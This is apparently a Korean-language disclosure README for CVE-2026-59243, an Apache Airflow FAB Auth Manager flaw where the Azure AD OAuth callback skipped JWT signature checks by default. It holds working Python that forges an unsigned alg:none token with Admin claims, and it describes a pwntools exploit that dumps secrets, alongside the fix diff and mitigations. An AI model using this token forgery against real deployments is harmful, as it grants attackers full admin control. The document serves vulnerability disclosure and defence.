
CVE-2026-59243에 대한 개념 증명으로, Apache Airflow FAB Auth Manager의 Azure AD OAuth 콜백에서 안전하지 않은 기본 설정으로 인한 JWT 서명 우회를 시연합니다.
영문 버전: README.md
Apache 공식 advisory (2026-07-29 게시): https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl
CVE record: https://www.cve.org/CVERecord?id=CVE-2026-59243
수정된 버전: apache-airflow-providers-fab==3.7.3
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hproviders/fab Auth Manager (Azure AD OAuth 경로)Upstream fix는 2026-07-07에 병합됐고 (커밋 54259ae, PR #69374), apache-airflow-providers-fab==3.7.3으로 2026-07-28에 배포됐다. Apache 공식 advisory는 2026-07-29 배포. Apache는 severity를 moderate로 분류.
FAB Auth Manager의 Azure AD OAuth 콜백은 id_token을 기본값으로 verify_signature=False 상태에서 디코딩한다. 이 콜백에 JWT를 밀어넣을 수만 있으면 (MITM, redirect 남용, 뭐든), 원하는 신원을 그대로 붙일 수 있다. Admin 포함. 같은 파일의 Authentik 경로는 True가 기본값이라서, 이 대비가 Azure 쪽 기본값이 의도된 게 아니라는 걸 처음 눈치채게 해줬다. Upstream은 결국 1자만 바꿔서 True로 뒤집었다.
Apache CNA 트래커: https://cveprocess.apache.org/cve5/CVE-2026-59243 Apache 메일링 리스트 advisory: https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl
파일: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
신고 시점과 현재 main 사이에 무관한 리팩터링이 있어서 라인 번호가 조금 밀렸다. 파일 자체는 같다.
취약 코드는 짧다:
# override.py:2331 신고 시점
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # <- 기본값 False, 이게 버그
)
if verify_signature:
# ... authlib으로 정상적인 JWK 서명 검증
return claims
# 기본 경로: 서명 검증 아예 안 함
return jwt.decode(id_token, options={"verify_signature": False})
눈에 띄는 게 두 가지다. 첫째, 기본값이 False라서 client_kwargs에 verify_signature: true를 명시적으로 넣지 않은 사람은 서명 검증을 전혀 받지 않는다. 둘째, 기본 경로가 그냥 jwt.decode에 서명 검증 비활성화 옵션을 붙여서 통과시킨다. 키가 없거나 JWKS fetch가 깨져서 fail open된 것도 아니고, 그냥 대놓고 caller가 준 값을 신뢰하는 pass-through다.
같은 파일 Authentik 쪽은 이렇게 생겼다:
# override.py:414 신고 시점 — Authentik
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # 기본값 True
)
모양은 같은데 기본값이 반대다. 이걸 설계 의도로 읽기는 어렵다.
Airflow가 FAB Auth Manager + Azure AD OAuth로 배포돼 있고, client_kwargs에 verify_signature override가 없는 상태를 가정 (기본 배포).
JWT를 alg: none, 원하는 claim, 빈 서명으로 위조:
import base64, json
def b64u(x): return base64.urlsafe_b64encode(json.dumps(x).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # 끝의 점: 서명 부분 비어있음
이 토큰을 콜백으로 전달 (/login/azure/authorized 또는 해당 통합이 마운트된 경로). 전달 자체가 실전에서는 까다로운 부분이다. MITM 위치가 필요하거나, 남용할 수 있는 redirect 흐름이 있거나, 토큰 주입을 가능하게 하는 보조 결함이 필요하다. 어쨌든 콜백에 도달하면 FAB이 _decode_and_validate_azure_jwt를 호출하고, 기본 경로로 빠져서 claim을 그대로 돌려준다. 그 순간부터 Admin이고, Airflow에서 Admin이란 Connection, Variable, Fernet 키, 워커 신원으로 임의 태스크 실행을 다 의미한다.
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H로 8.1 High로 점수 매겼다. Complexity가 High인 건 JWT 전달이 모든 배포에서 자명하게 되지는 않아서다. Impact는 성공하면 완전. Apache가 advisory에서 다르게 점수 매길 수도 있는데, 그건 그것대로 괜찮다.
한 글자. 이미 main에 있고, 이미 배포됨:
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
2026-07-07에 PR #69374 / 커밋 54259ae로 병합. 2026-07-28에 apache-airflow-providers-fab==3.7.3으로 릴리즈.
정말로 서명 검증을 꺼야 하는 사용자 (자체 서명 JWKS를 쓰는 온프렘 Azure AD 복제본 같은 경우)는 여전히 client_kwargs에 verify_signature: false를 명시해서 opt-in 할 수 있다. 기본값을 insecure로 두는 것보다 훨씬 나은 모양이다.
즉시 업그레이드 못 하는 경우, webserver_config.py에서 명시적으로 켜기:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
같이 하면 좋은 것들: OAuth 콜백 URL을 HTTPS-only + 엄격한 redirect_uri 허용 목록으로 두기, 침해가 의심되면 Airflow Connection 로테이션.
Docker PoC는 poc/ 안에 있다:
poc/server.py가 취약한 jwt.decode(..., options={"verify_signature": False}) 경로를 작은 Flask 앱으로 재현한다.poc/exploit_airflow_jwt.py는 pwntools로 토큰 위조 → 콜백 히트 → admin 뷰 → placeholder "secrets" 덤프를 한다.poc/Dockerfile과 poc/docker-compose.yml은 타겟을 127.0.0.1:5002에 올려서 LAN으로 새지 않게 해둔다.한 줄:
cd poc/
./run.sh
docker-compose.yml이 loopback bind다. 공용 머신에서 굳이 돌리려면 그 부분 먼저 편집.
CVE-2026-59243/
├── README.md 영문 버전
├── README.ko.md 이 파일
├── LICENSE MIT + 방어 목적 사용 명시
├── check_advisory.sh 공개 감시 스크립트 (cron)
├── patch/fix.diff 1자 fix (신고 시점 라인 2332 기준)
└── poc/ Docker + pwntools 재현
신고자: MalHyuk (https://github.com/MalHyuk)
Apache 쪽: 최초 신고는 [email protected]. 7월 팔로우스루는 Airflow PMC 멤버가 처리.
MIT, LICENSE 참조. PoC는 시연 및 방어 연구 목적. 소유한 시스템이나 서면 승인을 받은 시스템에 대해서만 사용할 것.
| 날짜 | 이벤트 |
|---|
| 2026-03-18 | [email protected]에 신고 |
| 2026-03 ~ 2026-07 | Apache 쪽 조용. 나중에 Airflow PMC 멤버가 최초 신고를 놓쳤다고 언급. |
| 2026-07-03 | Airflow PMC 멤버가 픽업 |
| 2026-07-04 | CVE-2026-59243 할당 |
| 2026-07-04 | Credit 정보 전송 (MalHyuk / https://github.com/MalHyuk) |
| 2026-07-07 | Fix 병합: 커밋 54259ae, PR #69374 |
| 2026-07-28 | apache-airflow-providers-fab==3.7.3으로 배포 |
| 2026-07-29 | MITRE CVE record published, Apache advisory가 [email protected]에 게시 |
| 2026-07-29 | 이 저장소 public 전환 |
| 대기 | NVD 상세 페이지 (MITRE 후 며칠) |
| 대기 | GHSA 항목 (github.com/apache/airflow/security/advisories) |
| 함수 | 신고 시점 (2026-03-18) | 수정된 main (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (기본값 False, 취약) | 2428–2438 (기본값 True, 수정됨) |
_get_authentik_token_info() (참조용) | 414–416 (기본값 True) | 419–420 (기본값 True) |